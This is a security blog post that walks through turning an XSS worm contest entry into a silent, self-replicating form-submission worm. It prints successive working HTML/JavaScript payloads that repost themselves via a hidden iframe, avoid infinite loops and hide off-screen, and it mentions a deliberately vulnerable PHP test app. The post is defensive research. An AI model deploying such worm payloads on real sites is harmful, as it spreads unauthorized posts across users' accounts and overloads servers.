The Diminutive XSS Worm Replication Contest finished up
two weeks ago. See Diminutive Worm Contest Wrapup for the winners (Giorgio
Maone and Sirdarckcat) and the details. RSnake posted an
excellent paper that looks back at the contest and what was
learned that could be used to stop XSS worms. I'll have more to
say about the defense aspect later.
For all of the initial controversy, post-contest coverage was
lighter than I expected:
Another thing I found fascinating is that in both RSnake's
paper and the commentary, XMLHttpRequest was somehow preferred over
form submission simply because it was "silent". (See
Creating and Combating the Ultimate XSS Worm).
But as "bwb labs" rightly points outs, there are a variety of
techniques to use when the form submission approach would
absolutely be required (e.g., cross-domain blind-CSRF). In
fact, nearly trivial modifications can be made to support
silent, one-time posting using forms. The approach is based on
remote scripting with iframes (a popular technique from the
pre-AJAX era).
To start with, we'll examine a contest entry from Gareth Heyes:
<form><input name="content"><iframe onload="(f=parentNode)[0].value='<form>'+f.innerHTML;f.submit(alert('XSS',f.action=(f.method='post')+'.php'))">
The entry used a side-effect of the contest rules to reduce the
number of bytes, so removing that will help show what is
happening. It will no longer be diminutive, but the purpose
here is to understand the behavior and not to create small worms.
Re-arranging the code, adding line breaks and removing the
minimal payload:
<form method="post" action="post.php">
<input name="content">
<iframe onload="(f=parentNode)[0].value='<form>'+f.innerHTML;f.submit();">
Obviously, the revised code will no longer self-propagate,
because the method and action from the form are not being reproduced. To
address this, an additional parent level element should be added.
The favored solution from the contest was to use the a b
and the bold function, but empirical testing indicates that
a div element seems to be more effective. Additionally,
making the content type hidden and
explicitly closing the form and iframe tag yield
better results:
<div>
<form method="post" action="post.php">
<input name="content" type="hidden">
<iframe
onload="(f=parentNode)[0].value='<div>'+f.parentNode.innerHTML;f.submit();">
</iframe>
</form>
Here is where some of the remote scripting techniques can be
applied. By assigning a target to the form and a corresponding
name to the iframe, the form can be made to submit to the iframe
instead of the current window. So, we add a name to the iframe
and target to the form (plus a form name for good measure):
<div>
<form method="post" action="post.php" name="_f" target="_t">
<input name="content" type="hidden">
<iframe
name="_t"
onload="(f=parentNode)[0].value='<div>'+f.parentNode.innerHTML;f.submit();">
</iframe>
</form>
This change will cause the form to submit into the iframe and
leave the current page content unchanged. But an interesting
problem is encountered if the content that has been submitted is
echoed back. If this happens, an infinite loop has been
constructed and the repeated posts will cause undue stress on the
server.
To resolve this, the submitted content should check where it is
running. One piece of information that the iframe has is the
window.name value, which corresponds to the name on the
iframe. By adding a check for the current window name,
the code can determine whether it has
already been submitted or not:
<div>
<form method="post" action="post.php" name="_f" target="_t">
<input name="content" type="hidden">
<iframe
name="_t"
onload="if ('_t' != window.name) {
(f=parentNode)[0].value='<div>'+f.parentNode.innerHTML;
f.submit();
}">
</iframe>
</form>
Unfortunately, this code suffers from a related problem. When
the form submits into the iframe, the onload function will
be triggered. This will happen repeatedly until the current page
location is changed. To account for this a guard variable is
added:
<div>
<form method="post" action="post.php" name="_f" target="_t">
<input name="content" type="hidden">
<iframe
name="_t"
onload="if ('undefined' == typeof(_o) ^ '_t' == window.name) {
(f=parentNode)[0].value='<div>'+f.parentNode.innerHTML;
f.submit();
_o = 1;
}">
</iframe>
</form>
The strange xor usage is done to avoid any '&' characters
that may have additional encoding applied when innerHTML is
used.
Finally, a CSS style is applied to hide the form and iframe. There are
many ways to do this including "display: none" or "overflow:
hidden" with zero height and width, but I prefer to use absolute
positioning with large negative offsets. This style is applied to
the form, so valid content can be included prior to it:
<div>
<i>Valid content goes <u>here</u></i>.
<form method="post" action="post.php" name="_f" target="_t"
style="position: absolute; left: -9999px;">
<input name="content" type="hidden">
<iframe
name="_t"
onload="if ('undefined' == typeof(_o) ^ '_t' == window.name) {
(f=parentNode)[0].value='<div>'+f.parentNode.innerHTML;
f.submit();
_o = 1;
}">
</iframe>
</form>
Of course, a similar approach could be used to modify any of
the entries that use img elements and onerror to
trigger the form submission. An iframe would be added, assigned a
name, and this would be the set as the target on the form.
Hopefully, it is clear that form submission worms are still a
threat that should be considered even though XMLHttpRequest may be
the preferred approach. But if cross-domain submission is used as
a protection mechanism, clever use of the IFRAME element can still
make XSS worms a possibility.
If you are having a hard time visualizing how the propagation
actually works, I've posted the code to my poorly crafted PHP
application. It matches the constraints in the contest while
supporting multiple users with minimal fuss:
xss-worm-test-0.01.tar.gz
(sig). You will need PHP and MySQL.
See the README for more information. I would put this online
myself, but it has obvious security holes; I would strongly
recommend against putting this on a publicly accessible site.